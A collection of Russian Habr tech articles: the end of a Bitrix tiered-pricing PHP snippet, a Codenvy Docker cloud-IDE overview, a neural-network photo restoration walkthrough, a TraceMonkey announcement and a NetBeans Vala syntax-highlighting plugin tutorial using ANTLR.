"FUSER_ID" => CSaleBasket::GetBasketUserID(),
"LID" => SITE_ID,
"ORDER_ID" => "NULL"
),
false,
false,
array("ID", "MODULE", "PRODUCT_ID", "CALLBACK_FUNC", "QUANTITY", "DELAY", "CAN_BUY", "PRICE")
);
while ($arItem = $dbBasketItems->Fetch())
{
if($arItem['DELAY'] == 'N' && $arItem['CAN_BUY'] == 'Y')
{
$LocalPrice += $arItem['PRICE']*$arItem['QUANTITY'];
}
}
}
//ОПТ 1 при сумме заказа до 10 000 рублей
//ОПТ 2 при сумме заказа до 20 000 рублей
//ОПТ 3 при сумме заказа более 20 000 рублей
// получаем все типы цен, возможные для данного товара
$arOptPrices = CCatalogProduct::GetByIDEx($productID);
if($LocalPrice < 10000){
$price = $arOptPrices['PRICES'][1]['PRICE'];
$catalog_group_id = 1;
}
elseif($LocalPrice >= 10000 and $LocalPrice < 20000){
$price = $arOptPrices['PRICES'][2]['PRICE'];
$catalog_group_id = 2;
}
elseif($LocalPrice >= 20000){
$price = $arOptPrices['PRICES'][3]['PRICE'];
$catalog_group_id = 3;
}
return array(
'PRICE' => array(
"ID" => $productID,
'CATALOG_GROUP_ID' => $catalog_group_id,
'PRICE' => $price,
'CURRENCY' => "RUB",
'ELEMENT_IBLOCK_ID' => $productID,
'VAT_INCLUDED' => "Y",
),
'DISCOUNT' => array(
'VALUE' => $discount,
'CURRENCY' => "RUB",
),
);
}
```
При желании можно оптимизировать код, добавив кеширование для хранения выборки цен, избавиться от хард-кодового задания условий и вынеся условия в конфиг-файлы или в базу данных. В принципе, саму выборку данных из корзины тоже можно вынести за пределы функции обработчика и хранить сумму где-нить в сессии, куках или глобальной переменной(кому как нравится и как считает правильным). Само собой, для учебного примера не стал всего этого делать. Пользуйтесь на здоровье! | https://habr.com/ru/post/184898/ | null | ru | null |
# Docker в браузере, или как создать и «расшарить» среду разработки
Docker нынче не использует только ленивый. Вокруг этой технологии заварилась очень интересная каша, не в последнюю очередь благодаря технологиям и продуктам, интегрировавшим Docker, который стал частью их инфраструктуры. Раннеры на Docker-е — это уже чуть ли не “must” для облачных IDE. Что уж говорить, если Google однозначно признали преимущества запуска приложений в контейнерах, а не на “чистом железе”. Впрочем, это тема другой дискуссии.
**Создание среды разработки в браузере**
Итак, Docker, скорее всего, изменит лицо технологического мира. Вернее, он уже его меняет. Все мало-мальски активные компании уже выложили свои докер образы, в которых запускаются их продукты. Ни тебе настройки среды, ни установки переменных окружения… Скачал образ, примонтировал локальные ресурсы, если нужно (“сорцы” проекта, локальный репозиторий и так далее), и горя не знаешь.
Лидер рынка обычных IDE пошел немного дальше в вопросе использования Docker. Компания поставила себе 2 условия:
* никаких скачиваний, установок и сопутствующих хлопот
* пользователь ничем не ограничен в процессе “постройки” образа среды разработки
Другими словами, чтобы создать среду разработки, нужен всего лишь браузер и учетная запись в Codenvy. По-порядку обо всем.
Ранее, мы уже писали про облачные IDE, их преимущества и недостатки. Одним из главных недостатков была невозможность “кастомизации” окружения. Другими словами, у пользователя нет доступа к среде, где собирается и запускается его проект. Этот недостаток был учтен.
Что же получает пользователь Codenvy? Получает он доступ к инстансу раннера, на котором установлен Docker. Конечно, доступ этот ограничен несколькими Docker командами, которые выполняются не явно, а через кнопки и меню веб-интерфейса. Пользователь может самостоятельно написать Dockerfile и нажать кнопку Run. По факту выполнятся 2 команды — *docker build*, и после успешного создания имиджа — *docker run*. Само собой, с набором параметров.
Конечно же, предлагаются и предустановленные раннеры — их более 20. Но, если по каким-то причинам, дефотный раннер не подходит, существует более 1 решение:
* “расширять” существующую среду. Другими словами, наследовать базовый имидж
* создавать собственную среду “с нуля”. DockerHub предлагает тысячи имиджей, в том числе, официальных
В итоге пользователь получает CodeMirror редактор со всеми соответствующим функционалом (подсветка синтаксиса, code folding, поиск, мультикурсор, автозамена), систему контроля версий Git, интеграцию с GitHub (используется oAuth. Для других git hosting провайдеров используется «ручное» SSH соединение), Datasource плагин для удобного подключения к базам данных и работу с ними (SQL редактор с автокомплитом и подсветкой синтаксиса).
В имидж можно добавлять как “сорцы” проекта, так и “билд-артефакты”, jar, war, apk etc. Билд проектов может проистекать как нативно на отдельном инстансе (на данный момент поддерживаются Maven и Ant), так и непосредственно в “рантайме” — в таком случае нет ограничений по использовании билд системы — Grails, Gradle, Leiningen — все это без проблем устанавливается на линуксовую ось (рекомендуется легковесная Debian Jessie). Так, например, чтобы установить Maven в своей Codenvy среде, нужно выполнить нехитрые действия, мало чем отличающиеся от local experience:
```
RUN mkdir /home/user/maven3 && \
wget -qO- "http://archive.apache.org/dist/maven/maven-3/3.1.1/binaries/apache-maven-3.1.1-bin.tar.gz" | tar -zx --strip-components=1 -C /home/user/maven3
ENV M2_HOME /home/user/maven3
RUN echo "export M2_HOME=$M2_HOME" >> /home/user/.bashrc
ENV PATH $M2_HOME/bin:$PATH
RUN echo "export PATH=$PATH" >> /home/user/.bashrc
```
Подобным же образом настраивается любой другой build tool — скачиваем, распаковываем, устанавливаем переменные окружения и записываем их в .bashrc. Конечно же, можно использовать уже готовые имиджи с DockerHub, где все это добро уже предустановлено.
Что касается добавления исходного кода и артефактов в окружение, то тут разработчики Codenvy предлагают 2 переменные, которые по-разному используются для “сорцов” и для “build артефактов”.
Чтобы добавить исходный код скриптовых проектов (PHP, Python, AngularJS) используется стандартная Docker инструкция ADD с Codenvy переменной:
```
ADD $app$ /destination/path/in/your/image/
```
По факту скачивается архив со всеми файлами приложения и распаковывается в указанную директорию.
Такая же иструкция для Maven или Ant проекта заберет build артефакт, который потом уже исполняется или “деплоится”, например в Tomcat-е:
```
ADD $app$ /home/user/tomcat7/webapps/ROOT.war
```
А если нужно забрать sources Java проекта и собрать его в рантайме, используем:
```
ADD $app_src$ /destination/path/in/your/image
```
В случае использования предустановленного runtime или же наследования имиджей Codenvy, предлагается SSH доступ в запущенный контейнер. Так, например, в качестве CMD команды можно прописать бесконечный цикл:
```
CMD white true; do true; done
```
и выполнять команды руками во вкладке Terminal.
В качестве SSH терминала используется Shellinabox, впрочем, пользователь вправе использовать “что-то свое” — iframe во вкладке Terminal слушает 4200 порт. EXPOSE портов работает так же, как и при локальном билде образа. Существует лишь одно условие, если вы открываете порт, “клиенту” нужно знать, где забирать URL терминала и приложения. Для этого используются специальные переменные:
Для терминала:
```
ENV CODENVY_WEB_SHELL_PORT
```
Для приложения:
```
ENV CODENVY_APP_PORT_\_HTTP
```
Например, если ваш Tomcat работает по стандартному порту 8080, то переменная и ее значение будут выглядеть следующим образом:
```
ENV CODENVY_APP_PORT_8080_HTTP 8080
```
Вот, собственно, и все “правила” использования Docker в Codenvy. Все остальное зависит от имеющихся ресурсов и фантзии пользователя. Импортировали проект, создали среду разработки, добавили исходный код, собрали и запустили проект — все в браузере. Из интересностей — использование VNC для запуска десктопных и мобильных приложений (например, Android эмулятор), а также live-reload для скриптовых языков (в предустановленном окружении директория с исходным кодом проекта монтируется в имидж, что позволяет подхватывать изменения без необходимости перезапускать приложение — все как и локально на десктопе).
**'Шаринг' среды разработки**
Наверное, многие из вас сталкивались с ситуацией, когда коллеге необходимо запустить ваш проект у себя на машине. Или не коллеге, а клиенту. Акцептанс или дев-сервер, скажем, не подходят по каким-то причинам. С проектом все ок, приложение работает как часы, да только вот среда под него не из простых. И Docker у клиента на виндовом лептопе не установлен, а вам нужен только Debian c Node, npm, nvm, grunt, gulp, bower и какие-то еще Ruby gems. Да, есть «дока». Но, вроде бы давненько вы ее не обновляли, и вроде как в последний раз нужно было немного танцевать с бубном, а то не «заводился» проект. Конечно, это не сплошь типичная ситуация, но бывает. И после пол-дня мучений, коллега или клиент говорит — «Не работает». Ну, а вы, как настоящий программист, говорите «Ну, не знаю. У меня работает».
Как такую проблему решают, или пытаются решить, в Codenvy? Фишка называется Factories. В открытом проекте, пользователь генерит URL c хеш-кодом, в котором зашифрованы десятки параметров, касающиеся самого проекта, его среды, поведения IDE… Специально обученный API получает POST запрос с этими параметрами и выдает URL, например <https://codenvy.com/f?id=djbxklig6ihr3cgn> (открывать в новой вкладке).
Кликнув по ссылке, видим, что создается временный workspace, куда клонируется исходный код проекта. Нажав на кнопку Run, собираем и запускаем Docker имидж. В инструкциях прописан билд с помощью Grails и деплой war в Tomcat. При каждом нажатии на URL создается новый временный воркспейс. Таким образом, линк один — а идентичных environments хоть сотня. При этом пользователь может править исходный код, вносить изменения и пересобирать/перезапускать приложение. Через некоторое время такой одноразвый воркспейс умирает, а фраза «Не знаю, у меня работает» не нужна в принципе.
URL генерится прямо в UI, однако существует и advanced способ с использованием CLI или API, и JSON-а с набором параметров, в которых можно указать RAM, необходимый для «взлета» приложения, среду, в которой нужно запускать проект, «прописку» исходного кода (Git URL с GitHub, например), действия после создания временного воркспейса (открытие файла README, например), ограничения доступа, замена текста и переменных.
Еще один пример. Node.js приложение, работающее с MongoDB <https://github.com/andzdroid/mongo-express>. Чтобы запустить локально, нужно установить много чего. Или же воспользоваться «фабрикой», запустить приложение во временном воркспейсе, стартонуть Mongo как daemon и запустить само Node приложение (открывать в новой вкладке):
[](https://codenvy.com/f?id=an0s08iidzwj7xee)
Плюсы:
* не нужно устанавливать Docker
* не нужно качать имидж (единожды «стянув имидж», он остается в кеше Docker-а на инстансе раннера)
* запуск в 2 клика — сам URL и кнопка Run в Codenvy
Минусы. Их, конечно, найти несложно. Ну, не угнаться облачным IDE за IntelliJ и Eclipse. Функции редактора ограничены. Кстати, Codenvy можно использовать в связке с вышеупомянутыми IDE. Для Eclipse есть специальный плагин, с помощью которого можно импортировать проекты из Codenvy в Eclipse, редактировать в любимой IDE, а собирать и запускать проекты в облаке. В принципе, можно использовать любую IDE в связке с Codenvy CLI — синхронизация исходного кода, удаленная сборка и запуск проектов — все это предлагается в Codenvy CLI.
На данный момент, если билд приложения проходит в Docker-е, то «клиент», а конкретно, Java editor ничего про это не знает. Отсюда остуствие code autocompletion и false errors. Помощник в написании кода также отсутствует для всех языков, кроме Java. Проблема, по словам сами разработчиков, будет решаться, так как билдеры также будут переведены в Docker в ближайшем будущем.
Навигация по коду и синхронизация файлов между проектом и «раннером» также в ближайших планах. Словом, работы хватает.
И напоследок, неколько Factories (открывать в новых вкладках)
**Android File Manager**, собранный **Gradle**-ом и запущенный в дефолтном Android эмуляторе (см. инструкции в WELCOME файле):
[](https://codenvy.com/f?id=g08a3escw5kxj2xk)
**Java GAE** приложение, запущенное средствами Java GAE SDK. Перейдя во вкладку Terminal, можно «задеплоить» приложение на GAE (инструкции в WELCOME файле, не забываем указать ваш application ID в appengine-web.xml). Кстати, полноценная интеграция с GAE на подходе.
[](https://codenvy.com/f?id=r5yqsq2o5qtlbg61)
**AngularJS проект**:
[](http://codenvy.com/f?id=taz37dozpshz52su)
**Вместо выводов**
Что ж, с неистовым прогрессом Docker, стало понятно, что облачные IDE, и Codenvy, в частности, не ставят себе цель — заменить собой desktop. Как не крути, а локальная среда и ближе и понятней. Вместе с тем, возможность создания среды разработки в браузере, и эффективный «шаринг» проектов+runtime может существенно облегчить жизнь при определенных обстоятельствах. Так, например, томные инструкции, начинающиеся с «установите Java, Maven, m2 plugin и еще с десяток тулзовин», можно заменить на одну кнопку или линк, и пользователю не нужно скачивать пол-Интернета, чтобы опробовать в действии фреймворк или новую библиотеку. Из последних примеров — testing [framework Arquillian](http://arquillian.org/guides/getting_started/?utm_source=cta). Обратите внимание на количество инструкций в Getting Started по ссылке. А вот тоже самое, но в фабрике Codenvy (открывать в новой вкладке):
[](http://codenvy.com/f?id=9duygs4q226kw1oj)
**Вместо эпилога**
Лабу по 'плюсам' нужно было сделать. Устанавливать все было лень. Заюзал [Codenvy](https://codenvy.com/). Это комментарий одного из пользователей. | https://habr.com/ru/post/243953/ | null | ru | null |
# Мой личный опыт восстановления старых фотографий с помощью нейросетей
Немного о происхождении фотографий. Напомню, что 26 Апреля 1986 года произошла катастрофа на Чернобыльской АЭС.
Но мало кто знает, что радиоактивное облако распространилось на тысячи километров. К сожалению, это затронуло и деревню моей бабушки недалеко от Гомеля. Жителей эвакуировали далеко не сразу, но когда пришло время уезжать, то фотографии, которые были приклеены на стене пришлось отклеивать варварским способом. Время потрепало эти фотографии, но попробуем восcтановить.
Для примера я взял только две фотографии. На первой, мой двоюродный брат бабушки и какой-то человек на лошади. На второй — мой прадедушка.
Как можно дать вторую жизнь этим фотографиям?
Осторожно, большие фотографии!
Есть множество способов восстановить потрёпанные фотографии.
Можно сделать это вручную в любом удобном графическом редакторе. Можно выбрать онлайн сервисы для восстановления, но всегда есть ограничения. Я же решил найти несколько инструментов на основе нейронных сетей, которые можно запустить на домашнем ПК.
В этой статье я хочу поделиться своим детским опытом, как бесплатно восстановил несколько фотографий.
Сразу условимся, что статья носит чисто ознакомительный характер.
Я лично тестировал на своем ноутбуке 7 летней давности:
i7-5700HQ
16 ГБ оперативной памяти
SSD диск
Опционально можно использовать видео карту NVIDIA, но моя GTX960M устарела, и я её не использовал. Для запуска с видеокартой в каждом скрипте есть опция GPU.
Windows 10/11
На мой взгляд проще всего это сделать с помощью подсистемы Linux в Windows 10 или 11.
1. Установка
------------
Для упрощения записал [видео инструкцию.](https://t.me/savkinsa/82)
Специально для тестов я написал небольшой [скрипт](https://github.com/SergeiSOficial/AiPhoto)
Открываем терминал в Ubuntu и вводим
```
git clone https://github.com/SergeiSOficial/AiPhoto.git
cd AiPhoto
sudo chmod +x *.sh
```
Далее запускаем установку
```
./setup.sh
```
Во время установки откроется папка с проектом. Начальные фотографии складываем в input, в папке output будем искать результаты. Важно, что файлы должны быть не слишком большими или иметь достаточный объем оперативной памяти.
На моем ноутбуке с интернетом 30 Мбит/с вся установка заняла примерно 30 минут.
2.Запуск
--------
Почему алгоритма три?
[Bringing Old Photo Back to Life](https://github.com/microsoft/Bringing-Old-Photos-Back-to-Life) неплохо убирает трещины, но недостаточно хорошо восстанавливает лица. [GFPGAN](https://github.com/TencentARC/GFPGAN)хорошо справляется с людьми, но требует чистую фотографию. [DeOldify](https://github.com/jantic/DeOldify) хорошо разукрашивает.
Запускаем [алгоритм](https://github.com/microsoft/Bringing-Old-Photos-Back-to-Life) от компании Майкрософт
```
cd AutoDeOldifyLocal/DeOldify/
conda activate deoldify
cd ../../Bringing-Old-Photos-Back-to-Life
python run.py --input_folder ../input --output_folder ../output/BOPBTL/ --GPU -1 --with_scratch --HR
```
После этого запускаем алгоритм от китайской компании [GFPGAN](https://github.com/TencentARC/GFPGAN)
```
cd ../GFPGAN
python inference_gfpgan.py -i ../output/BOPBTL/stage_1_restore_output/restored_image -o ../output/GFPGAN/ -v 1.3 -s 2
```
И в конце запускаем [разукрашивание](https://github.com/jantic/DeOldify)
```
cd ../AutoDeOldifyLocal/DeOldify/
python RunColorizer.py --input_folder ../../output/GFPGAN/restored_imgs --GPU -1 --output_folder ../../output/DeOldify/ --artistic True
cd ../../
```
Все три алгоритма выполнялись примерно 10 минут.
Конечно, алгоритмы работают неидеально, но результаты, лично для меня, любопытные.
Ссылка на [репозиторий](https://github.com/SergeiSOficial/AiPhoto) со скриптами для установки и запуска.
Еще раз [ссылка](https://t.me/savkinsa/82) для скачивания видео.
Надеюсь, статья будет полезна. Но в любом случае оставляйте комментарии. | https://habr.com/ru/post/695962/ | null | ru | null |
# TraceMonkey — супер-производительный javascript
Ура! Новое, фантастически быстрое, улучшение движка JavaScript(SpiderMonkey) в Mozilla было опубликовано.
Кодовое имя этого творения — TraceMonkey.
Этот движок использует ~~метод добавления своего кода в реальном времени для ускоренной компиляции в SpiderMonkey~~ новый метод трансляции байт-кода в машинный код на лету.
#### Результаты тестирования TraceMonkey
Разница в скоростях весьма заметна.
#### Используемые тесты:
* [SunSpider, 1.83x faster](http://webkit.org/blog/152/announcing-sunspider-09/) (Создано командой WebKit)
* [SunSpider ubench, 22.5x faster](http://svn.webkit.org/repository/webkit/trunk/SunSpider/tests/ubench/) (Создано командой WebKit для тестирования Squirrelfish)
* [Image Manipulation Demo, 6.46x faster](http://blog.mozilla.com/schrep/2008/08/22/what-can-you-do-when-your-browser-is-7-times-faster/) (Динамическое изменение контрастности и яркости изображения)
* [Matrix Manipulation, 6.26x faster](http://sylvester.jcoglan.com/) (with the Sylvester JavaScript library)
Если Вам самим очень хочется протестировать TraceMonkey, установите [nightly of Firefox 3.1](http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/), откройте страницу настроек about:config, и переключите следующий параметр на true: `javascript.options.jit.content`
TraceMonkey еще достаточно сырой, но подающий большие надежды проект, который даст возможность создавать более сложные веб-приложения, которые будут функционировать на большинстве компьютеров.
Так же не может не радовать тот факт, что его код работает на x86, x86-64, и ARM — что позволяет ему работать не только на настольных компьютерах, но и во многих мобильных устройствах.
###### Извиняюсь, что обзор был маловат и плохо понятен, просто технический Английский для меня еще сложноват.
> [Почитать более подробную информацию о TraceMonkey](http://ejohn.org/blog/tracemonkey/)(Английский)
>
> [Подписаться на заметки от Чернева](http://feeds.feedburner.com/chernev)(RSS)
>
> | https://habr.com/ru/post/37901/ | null | ru | null |
# Создаем плагин для Netbeans на примере языка Vala
Vala — это язык программирования, который создавался как замена языка C при разработке приложений для Gnome. При этом язык на мой взгляд удался, в своем синтаксисе взял многое из C# и Java. Прочитать подробнее о нем можно на [Хабре](http://habrahabr.ru/blogs/linux/99885/) или [сайте Gnome](http://live.gnome.org/Vala/Documentation). Захотев попробовать этот проект в деле столкнулся с тем, что по текущий момент для него не существует качественного IDE или плагина для IDE, которая позволила бы комфортно на нем разрабатывать.
В результате был создан плагин для [NetBeans IDE](http://netbeans.org/), которая на мой взгляд является одной из лучших open source IDE (наряду с Eclipse). Тем не менее информация о том, как именно разрабатывать модули и плагины для NetBeans Plaform довольно разрознена, а на русском языке практически ничего нет.
Парсер для языка
----------------
Первое, что необходимо сделать для поддержки нового языка в NetBeans, это написать [лексический](http://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7) и [синтаксический](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7) анализатор этого языка. Вы можете написать их самостоятельно, или использовать какие то инструменты, которые помогут вам это сделать. Инструментами могут быть например:
* [JavaCC](http://ru.wikipedia.org/wiki/Javacc) — генератор парсеров для языка Java;
* [ANTLR](http://ru.wikipedia.org/wiki/ANTLR) — генератор парсеров для многих языков;
* [Bison](http://ru.wikipedia.org/wiki/GNU_bison) — генератор парсеров;
* [Yacc](http://ru.wikipedia.org/wiki/Yacc) — генератор парсеров;
* [много других парсеров](http://en.wikipedia.org/wiki/Comparison_of_parser_generators)
Для реализации плагина я выбрал ANTLR, как один из наиболее популярных, а именно — [ANTLRv3](http://www.antlr.org/). Он умеет генерировать код на Java, что позволяет его относительно легко интегрировать в плагин для NetBeans Platform.
Для ANTLR необходимо написать описание языка с использованием LL грамматики. Язык этот близок к [РБНФ](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0_%E2%80%94_%D0%9D%D0%B0%D1%83%D1%80%D0%B0) и во многом интуитивно понятен.
Если упростить, то описание грамматика ANTLR состоит из правил двух типов — lexer и grammar. Правилами lexer описываются токены, которые анализируются на стадии лексического разбора. Имена правил lexer пишутся в верхнем регистре, а правил grammar в нижнем.
Пример правила lexer:
`ID : ('a'..'z'|'A'..'Z'|'_') ('a'..'z'|'A'..'Z'|'0'..'9'|'_')* ;`
Это правило выделяет в исходном коде идентификаторы, а именно — слова, которые начинаются с латинской буквы или подчеркивания и не содержат соответственно цифры, латинские символы или подчеркивания. Все соответствующие правилам lexer последовательности символов будут выделены в токены.
После разбора токенов выполняется синтаксический анализ, который генерирует [абстрактное синтаксическое дерево](http://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE) или AST. Для генерации AST используются правила grammar.
Пример правила grammar:
`try_statement : TRY block (catch_clause)* (finally_clause)?;`
Этим правилом описывается блок try… catch. Правило состоит из последовательности токенов и/или других имен правил grammar. Символ '\*' в данном случае означает, что блок в скобках catch\_clause быть повторен несколько раз или отсутствовать. Символ '?' — блок finally\_clause может присутствовать только один раз или его может не быть.
Пожалуй на этом закончим с языком ANTLR, на сайте есть [документация](http://www.antlr.org/wiki/display/ANTLR3/Grammars) и множество примеров. Там же вы можете найти [ANTLRWorks](http://www.antlr.org/works/index.html), который поможет при отладке правил. Он отображает разобранное дерево в графическом и довольно наглядном виде.
Посмотреть ANTLR описание синтаксиса языка Vala, который написан был для плагина [можно на github](https://github.com/carbonfx/netbeans-valaproject/blob/habr/antlr/Vala.g)
Модуль для NetBeans
-------------------
### 1) Создаем проект
Для начала необходимо создать проект модуля NetBeans, через меню New Project | NetBeans Modules | Module. Поставьте галку «Standalone Module». Необходимо указать корректное название проекта, название модуля и отметить галку «Generate XML Layer». Последнее действие создаст файл layer.xml, который будет содержать имена классов реализующих поведение плагина и другие параметры вашего модуля.
### 2) Добавляем поддержку .vala и .vapi файлов в модуль
NetBeans работает с файлами проекта через [Datasystems API](http://bits.netbeans.org/dev/javadoc/org-openide-loaders/org/openide/loaders/doc-files/api.html) и [Filesystems API](http://bits.netbeans.org/dev/javadoc/org-openide-filesystems/org/openide/filesystems/doc-files/api.html). Добавить поддержку новых расширений можно выбрав корневой элемент проекта, далее меню New | Other | Module Development | File Type.
Эти действия приведут к созданию простого класса для работы с DataObject, в нашем случае это [ValaDataObject](https://github.com/carbonfx/netbeans-valaproject/blob/habr/plugin/valaproject/src/org/carbonfx/valaproject/ValaDataObject.java), а также этот класс будет зарегистрирован в layer.xml как обработчик файлов .vala:
> `<filesystem>
>
> <folder name="Loaders">
>
> <folder name="text">
>
> <folder name="x-vala">
>
> <folder name="Actions">
>
> ...
>
> folder>
>
> <folder name="Factories">
>
> <file name="ValaDataLoader.instance">
>
> <attr name="SystemFileSystem.icon" urlvalue="nbresloc:/org/carbonfx/valaproject/vala.png"/>
>
> <attr name="dataObjectClass" stringvalue="org.carbonfx.valaproject.ValaDataObject"/>
>
> <attr name="instanceCreate" methodvalue="org.openide.loaders.DataLoaderPool.factory"/>
>
> <attr name="mimeType" stringvalue="text/x-vala"/>
>
> file>
>
> folder>
>
> folder>
>
> ...
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Подсветка синтаксиса
--------------------
Теперь у нас есть все, чтобы добавить в модуль поддержку подсветки синтаксиса нового языка.
### 1) Подключаем файлы парсера сгенерированные ANTLR к модулю
У нас теперь есть парсер написаный на ANTLR, и мы можем подключить его к модулю для Netbeans. Для этого надо сгенерировать файлы lexer и parser в ANTLRWorks и добавить их в проект. Вы можете указать package для генерируемых файлов:
> `@header { package org.carbonfx.valaproject.antlr; }
>
> @lexer::header { package org.carbonfx.valaproject.antlr; }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### 2) Адаптируем анализатора ANTLR к API NetBeans
Во первых нужно реализовать абстрактный класс org.netbeans.spi.lexer.LanguageHierarchy. По сути этот класс определяет язык в виде токенов, токены делятся на категории. Категории необходимы как раз для реализации подсветки синтаксиса.
> `public class ValaLanguageHierarchy extends LanguageHierarchy {
>
>
>
> @Override
>
> protected Collection createTokenIds() {
>
> return Arrays.asList(tokens);
>
> }
>
>
>
> @Override
>
> protected Lexer createLexer(LexerRestartInfo lri) {
>
> return new org.carbonfx.valaproject.lexer.ValaLexer(lri);
>
> }
>
>
>
> @Override
>
> protected String mimeType() {
>
> return "text/x-vala";
>
> }
>
>
>
> static synchronized ValaTokenId getToken(int id) {
>
> return idToToken.get(id);
>
> }
>
>
>
> private static final Map idToToken = new HashMap();
>
> private static final ValaTokenId[] tokens = new ValaTokenId[] {
>
> token(ValaLexer.AND, "operator"),
>
> token(ValaLexer.AND\_ASSIGN, "operator"),
>
> token(ValaLexer.BACKSLASH, "operator"),
>
> // ... здесь определение всех токенов и соответствие категории
>
> token(ValaLexer.UNICODE\_CHAR, "error"),
>
> token(ValaLexer.OTHER\_CHAR, "error"),
>
> token(ValaLexer.UNKNOWN\_CHAIN, "error"),
>
> };
>
>
>
> static {
>
> for (ValaTokenId token : tokens) {
>
> idToToken.put(token.ordinal(), token);
>
> }
>
> }
>
>
>
> private static ValaTokenId token(int antlrToken, String category) {
>
> return new ValaTokenId (ValaParser.tokenNames[antlrToken], category, antlrToken);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Реализацию ValaTokenId я здесь пропустил, [она достаточно простая](https://github.com/carbonfx/netbeans-valaproject/blob/habr/plugin/valaproject/src/org/carbonfx/valaproject/lexer/ValaTokenId.java)
Осталось создать класс `ValaLexer`, который реализует интерфейс `Lexer`.
Основное предназначени класса `ValaLexer` — получение на вход последовательности символов и возврат последовательности токенов. В самой простой реализации достаточно в конструкторе сохранить последовательность символов и в методе `nextToken()` реализовать возврат токенов по очереди.
Еще один момент здесь заключается в том, что нужно адаптировать поток символов, которые нам отдает NetBeans Platform к потоку, который будут воспринимать классы ANTLR, а именно — к интерфейсу `CharStream`. К счастью уже есть [готовая реализация](http://code.google.com/p/pl-sql-editor/source/browse/trunk/PL+SQL+Language/src/org/netbeans/modules/languages/pl_sql/antlr/AntlrCharStream.java?r=145) этого класса в похожем проекте.
### 3) Конфигурация подсветки
Создаем файл FontAndColors.xml, в котором описываем соответствие категорий токенов (про это было выше), категориям подсвечиваемых разными цветами элементов. В частности наш файл выглядит следующим образом:
> `</fontxml version="1.0" encoding="UTF-8"?>
>
> DOCTYPE fontscolors PUBLIC "-//NetBeans//DTD Editor Fonts and Colors settings 1.1//EN" "http://www.netbeans.org/dtds/EditorFontsColors-1\_1.dtd">
>
> <fontscolors>
>
> <fontcolor name="character" default="character"/>
>
> <fontcolor name="error" default="error"/>
>
> <fontcolor name="identifier" default="identifier"/>
>
> <fontcolor name="keyword" default="keyword" />
>
> <fontcolor name="comment" default="comment"/>
>
> <fontcolor name="number" default="number"/>
>
> <fontcolor name="operator" default="operator"/>
>
> <fontcolor name="string" default="string"/>
>
> <fontcolor name="separator" default="separator"/>
>
> <fontcolor name="whitespace" default="whitespace"/>
>
> <fontcolor name="method" default="method" />
>
> <fontcolor name="javadoc" default="javadoc" foreColor="ff006666"/>
>
> <fontcolor name="regex" default="regex" foreColor="ff660066" />
>
> <fontcolor name="command" default="command" foreColor="ff006633" />
>
> fontscolors>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В файле Bundle.properties описываем человеческие названия для категорий:
> `operator=Operator
>
> string=String
>
> separator=Separator
>
> whitespace=Whitespace
>
> method=Method
>
> regex=Regular Expression
>
> command=Command
>
> ...
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Далее добавляем в проект пример файла с исходным кодом ValaExample.vala. Он будет отображаться в диалоге настроек цвета для токенов NetBeans. И последний шаг — добавляем строки в файл layer.xml для подсветки:
> `<filesystem>
>
> <folder name="Editors">
>
> <folder name="text">
>
> <folder name="x-vala">
>
> <file name="language.instance">
>
> <attr name="instanceCreate" methodvalue="org.carbonfx.valaproject.lexer.ValaTokenId.getLanguage"/>
>
> <attr name="instanceOf" stringvalue="org.netbeans.api.lexer.Language"/>
>
> file>
>
> <attr name="SystemFileSystem.localizingBundle" stringvalue="org.carbonfx.valaproject.Bundle"/>
>
> <folder name="FontsColors">
>
> <folder name="NetBeans">
>
> <folder name="Defaults">
>
> <file name="FontAndColors.xml" url="FontAndColors.xml">
>
> <attr name="SystemFileSystem.localizingBundle" stringvalue="org.carbonfx.valaproject.Bundle"/>
>
> file>
>
> folder>
>
> folder>
>
> folder>
>
> folder>
>
> folder>
>
> folder>
>
> <folder name="OptionsDialog">
>
> <folder name="PreviewExamples">
>
> <folder name="text">
>
> <file name="x-vala" url="ValaExample.vala"/>
>
> folder>
>
> folder>
>
> folder>
>
> filesystem>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Если вы все правильно сделали, и я ничего не упустил — можете компилировать и запускать проект. При открытии файлов с расширением .vala мы видим что ключевые слова подсвечиваются нужным цветом. В диалоге настроек должен появиться язык Vala, который можно выбрать и посмотреть подсвеченное содержимое файла ValaExample.vala
Заключение
----------
После всего проделанного, мы всего лишь получили подсветку синтаксиса. Но анализатор, который был написан с помощью ANTLR может использоваться и для других задач, а именно:
1. проверка валидности кода и подсветка ошибочных конструкций;
2. автоматическое формирование отступов;
3. подсказка названий методов, аргументов функций.
На текущий день в самом плагине для Vala реализованы первые два пункта. В дальнейшем постараюсь описать, каким образом в проект можно добавить поддержку отступов и подсветки ошибочных конструкций.
Также была идея попробовать парсить код Vala не с использованием ANTLR, а с парсером, который сам написан на языке Vala. Если конкретно, то именно с его реализацией, который используется в компиляторе Vala — libvala. Если кому то интересно подключиться к доработке плагина, пишите!
Ссылки
------
1. [Исходный код проекта на github](https://github.com/carbonfx/netbeans-valaproject), там же можно скачать скомпилированный модуль
2. [Сайт ANTLR и ANTLRWorks](http://www.antlr.org/)
